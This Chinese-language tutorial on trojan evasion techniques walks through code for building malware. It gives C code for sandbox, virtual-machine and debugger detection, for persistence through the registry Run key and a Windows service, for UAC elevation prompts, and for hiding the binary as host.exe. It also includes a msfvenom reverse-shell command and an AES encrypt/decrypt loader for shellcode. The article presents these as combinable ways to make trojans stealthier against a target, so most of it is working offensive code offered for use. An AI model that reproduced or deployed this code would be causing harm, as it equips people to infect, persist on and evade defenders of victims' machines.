一些木马反制技巧
字数 1124 2025-08-20 18:17:00
木马反制技术详解
反沙箱技术
沙箱检测原理
沙箱(Sandbox)是一种隔离机制,通过创建受控环境来分析恶意软件行为。国内常用云沙箱平台:
- 微步在线:https://s.threatbook.com/
- 安恒云沙箱:https://sandbox.dbappsecurity.com.cn/
白名单检测实现
通过检测常用软件进程是否存在来判断是否运行在沙箱环境:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <stdbool.h>
bool is_process_running(const char* process_name) {
bool found = false;
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return false;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
CloseHandle(hProcessSnap);
return false;
}
do {
if (strcmp(pe32.szExeFile, process_name) == 0) {
found = true;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return found;
}
int main() {
if (!is_process_running("qq.exe") && !is_process_running("wechat.exe")) {
return 0; // 无常用软件进程,可能是沙箱,退出程序
}
return 0;
}
关键函数:
CreateToolhelp32Snapshot: 获取进程快照Process32First/Process32Next: 遍历进程列表pe32.szExeFile: 进程可执行文件名
反虚拟机技术
虚拟机检测方法
通过检查注册表中的硬件信息判断是否运行在虚拟机中:
#include <windows.h>
#include <stdio.h>
int IsRunningInVM() {
char szHardware[256];
DWORD size = sizeof(szHardware);
int isVM = 0;
// 检查IDE硬件信息
if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Enum\\IDE",
"HardwareID", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
if (strstr(szHardware, "VMware") || strstr(szHardware, "Virtual")) {
isVM = 1;
}
}
// 检查磁盘枚举信息
size = sizeof(szHardware);
if (RegGetValueA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
"0", RRF_RT_REG_SZ, NULL, szHardware, &size) == ERROR_SUCCESS) {
if (strstr(szHardware, "VMware") || strstr(szHardware, "VBOX")) {
isVM = 1;
}
}
return isVM;
}
int main(int argc, char *argv[]) {
if (IsRunningInVM()) {
return 0; // 检测到虚拟机,退出程序
}
// 正常执行代码
}
关键注册表路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDEHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum
反调试技术
调试器检测
使用IsDebuggerPresent函数检测是否被调试:
#include <windows.h>
#include <stdio.h>
void checkDebugger() {
if (IsDebuggerPresent()) {
ExitProcess(1); // 检测到调试器,立即退出
}
}
int main() {
checkDebugger();
// 正常执行代码
return 0;
}
持久化技术
开机自启动注册表
通过注册表实现开机自启动:
#include <windows.h>
#include <stdio.h>
void add_to_startup(const char *appname, const char *path) {
HKEY hKey;
LONG result;
result = RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0, KEY_SET_VALUE, &hKey);
if (result != ERROR_SUCCESS) {
return;
}
result = RegSetValueEx(hKey, appname, 0, REG_SZ,
(BYTE *)path, strlen(path) + 1);
RegCloseKey(hKey);
}
int main(int argc, char *argv[]) {
char path[MAX_PATH];
if (GetModuleFileName(NULL, path, MAX_PATH) == 0) {
return 1;
}
add_to_startup("MyAppName", path); // 添加到启动项
}
关键注册表路径:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Windows服务注册
通过创建服务实现持久化(需要管理员权限):
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")
void CreateServiceToRunAtStartup() {
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager == NULL) {
return;
}
char path[MAX_PATH];
SHGetSpecialFolderPath(NULL, path, CSIDL_WINDOWS, FALSE);
strcat(path, "\\host.exe");
SC_HANDLE schService = CreateService(
schSCManager,
"host", // 服务名
"host", // 显示名
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // 自动启动
SERVICE_ERROR_NORMAL,
path, // 可执行文件路径
NULL, NULL, NULL, NULL, NULL);
if (schService == NULL) {
CloseServiceHandle(schSCManager);
return;
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
}
int main(int argc, char *argv[]) {
CreateServiceToRunAtStartup();
}
提权技术
弹窗请求管理员权限:
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")
BOOL IsRunAsAdministrator() {
BOOL fIsRunAsAdmin = FALSE;
PSID pAdministratorsGroup = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdministratorsGroup)) {
CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin);
FreeSid(pAdministratorsGroup);
}
return fIsRunAsAdmin;
}
void ElevatePrivileges() {
if (!IsRunAsAdministrator()) {
char szPath[MAX_PATH];
if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath))) {
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas"; // 请求管理员权限
sei.lpFile = szPath;
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;
if (!ShellExecuteEx(&sei)) {
exit(1);
}
exit(0);
}
}
}
int main(int argc, char *argv[]) {
ElevatePrivileges();
}
隐藏技术
文件隐藏
将木马复制到系统目录并改名:
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")
void CopyFilesToWindowsDir() {
char srcPath[MAX_PATH], destPath[MAX_PATH];
GetModuleFileName(NULL, srcPath, MAX_PATH);
SHGetSpecialFolderPath(NULL, destPath, CSIDL_WINDOWS, FALSE);
strcat(destPath, "\\host.exe");
CopyFile(srcPath, destPath, FALSE); // 复制到Windows目录并改名
}
int main(int argc, char *argv[]) {
CopyFilesToWindowsDir();
}
Shellcode混淆技术
AES加密Shellcode
- 生成原始Shellcode:
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=8888 -f raw -o msf.bin
- Python脚本加密Shellcode:
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib
def AESencrypt(plaintext, key):
k = hashlib.sha256(KEY).digest()
iv = 16 * b'\x00'
plaintext = pad(plaintext, AES.block_size)
cipher = AES.new(k, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext)
return ciphertext, key
def printResult(key, ciphertext):
print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
try:
file = open(sys.argv[1], "rb")
content = file.read()
except:
print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
sys.exit()
KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)
printResult(KEY, ciphertext)
- C++解密和执行Shellcode:
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#include <shlobj.h>
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "advapi32.lib")
void aes(char* code, DWORD codeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {
return;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
int main(int argc, char *argv[]) {
unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
unsigned char code[] = {0xa0, 0x82, 0xa3, 0xbf, 0xce, 0xd5, 0xd5, 0xce, 0x0, 0xf8, 0xc1, 0x34, 0x7f, 0x39, 0xcf, 0xdb, /*...*/};
DWORD code_length = sizeof(code);
aes((char*)code, code_length, key, sizeof(key));
// 解密后执行Shellcode
}
关键加密函数:
CryptAcquireContextW: 获取加密服务提供程序CryptCreateHash: 创建哈希对象CryptHashData: 哈希数据CryptDeriveKey: 派生密钥CryptDecrypt: 解密数据
总结
本文详细介绍了木马程序常用的反制技术,包括:
- 反沙箱检测 - 通过白名单进程检测
- 反虚拟机检测 - 通过注册表硬件信息检测
- 反调试技术 - 使用IsDebuggerPresent检测
- 持久化技术 - 注册表启动项和服务注册
- 提权技术 - UAC弹窗请求管理员权限
- 隐藏技术 - 复制到系统目录并改名
- Shellcode混淆 - AES加密/解密技术
这些技术可以组合使用,提高木马程序的隐蔽性和生存能力。在实际应用中,应根据目标环境选择合适的反制技术组合。